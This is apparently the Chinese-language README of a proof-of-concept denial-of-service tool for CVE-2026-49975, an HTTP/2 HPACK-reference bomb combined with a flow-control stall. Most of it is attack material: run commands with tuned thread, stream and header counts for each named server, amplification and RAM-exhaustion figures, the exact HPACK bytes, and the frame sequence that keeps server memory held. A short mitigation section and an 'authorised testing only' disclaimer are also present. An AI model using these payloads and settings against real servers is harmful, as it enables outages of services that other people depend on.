针对 CVE-2026-49975 的概念验证利用程序,这是一种影响 HTTP/2 服务器实现的远程拒绝服务漏洞。由 Quang Luong(Calif 安全研究)发现,于 2026 年 6 月 2 日公开披露。
仅供授权安全测试使用。切勿用于你不拥有或未经书面许可测试的基础设施。
该攻击链式利用了两种 HTTP/2 协议机制:
1. HPACK 索引引用炸弹
HPACK(RFC 7541)允许发送者通过索引引用之前见过的标头——通常只需一个字节。该漏洞利用程序先将一个几乎为空的标头插入动态表一次,然后对其进行数千次引用。每次 1 字节的线缆引用会强制服务器为每个条目分配约 70 字节的内部管理开销。由于不涉及大值,因此“最大解码标头大小”限制永远不会触发。
2. HTTP/2 流量控制窗口停滞
通过通告零字节接收窗口,攻击者阻止服务器发送其响应或释放任何内存。周期性发送 1 字节的 WINDOW_UPDATE 帧会重置服务器的发送超时,使分配的内存只要连接保持打开状态就一直被占用。
结果: 每个流发送约 16 KB → 每个流分配并持有约 1.15 MB 服务器 RAM。
| 服务器 | 放大倍率 | 演示影响 | 状态 |
|---|---|---|---|
| Envoy 1.37.2 | 约 5,700:1 | 约 10 秒内 32 GB | 披露时无补丁 |
| Apache httpd 2.4.67 | 约 4,000:1 | 约 18 秒内 32 GB | 已在 mod_http2 v2.0.41 中修复 |
| nginx < 1.29.8 | 约 70:1 | 约 45 秒内 32 GB | 已在 nginx 1.29.8 中修复 |
| Microsoft IIS (WS 2025) | 约 68:1 | 约 45 秒内 64 GB | 披露时无补丁 |
| Cloudflare Pingora | 约 68:1 | — | 披露时无补丁 |
无依赖项——仅需标准库。
# 基本测试(单连接)
python3 exploit-test.py target.com 443
# 针对 nginx 的管理开销炸弹(推荐用于 nginx 目标)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374
# Apache/Envoy 的 cookie-crumb 技术
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000
# HTTP/2 明文(很少见——大多数服务器需要 TLS 才能使用 h2)
python3 exploit-test.py target.com 80 --no-ssl
total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²
# nginx 示例:50 × 30 × 16374 × 70 / 1024² = 约 1,647 MB
# 确认 HTTP/2 支持和服务器版本
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"
# 如果以下条件成立则易受攻击:
# - ALPN: server accepted h2 (已启用 HTTP/2)
# - server: nginx/X.Y.Z (其中 X.Y.Z < 1.29.8)
nginx — 升级到 1.29.8+ 并添加:
http2 max_headers 1000;
或完全禁用 HTTP/2:
# 从 listen 指令中移除 "http2"
listen 443 ssl;
Apache httpd — 将 mod_http2 升级到 v2.0.41+。临时措施:Protocols http/1.1
IIS / Envoy / Pingora — 编写本文时无可用补丁。禁用 HTTP/2 或在前面放置已打补丁的代理。
通用(所有服务器):
# 限制工作内存以减小爆炸半径
ulimit -v 2097152 # 每个进程 2 GB
# Docker:--memory="2g" --memory-swap="2g"
动态表种子(增量索引,添加到索引 62):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00
对条目 62 的索引引用(每个 1 字节):
0x80 | 62 = 0xbe
每个流的线缆负载 = 9 字节(种子)+ N 字节(N 个引用)
每个引用的服务器分配 ≈ sizeof(ngx_table_elt_t) ≈ 70 字节
客户端 → 服务器:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (前言)
SETTINGS [INITIAL_WINDOW_SIZE=0] (停滞设置)
SETTINGS ACK (读取服务器 SETTINGS 后)
HEADERS [stream 1] ← 炸弹负载 (伪标头 + HPACK 炸弹)
HEADERS [stream 3] ← 炸弹负载
...
WINDOW_UPDATE(1) per stream / 1s (保持连接停滞)
| 文件 | 描述 |
|---|---|
exploit-test.py | 主 PoC——多流、持续重连、nginx 和 classic 模式 |
SECURITY-REPORT-MIST.md | 针对 mist.ac.bd 的授权评估报告 |
LICENSE | MIT |
| 标志 | 默认值 | 描述 |
|---|
target | — | 主机名或 IP |
port | 443 | TCP 端口 |
--threads | 1 | 并行连接(每个关闭时重新连接) |
--streams | 10 | 每个连接的 HTTP/2 流数 |
--headers | 5000 | 每个流的 HPACK 索引引用数 |
--mode | nginx | nginx(管理开销,70:1)或 classic(大值,4000:1) |
--no-ssl | 关闭 | 禁用 TLS(h2c) |
| 目标 | 模式 | --headers | 备注 |
|---|
| nginx < 1.29.8 | nginx | 16374 | 保持在默认 http2_max_header_size 16k 之内 |
| Apache httpd | classic | 5000 | Cookie-crumb 技术 |
| Envoy | classic | 32000 | 高放大倍率 |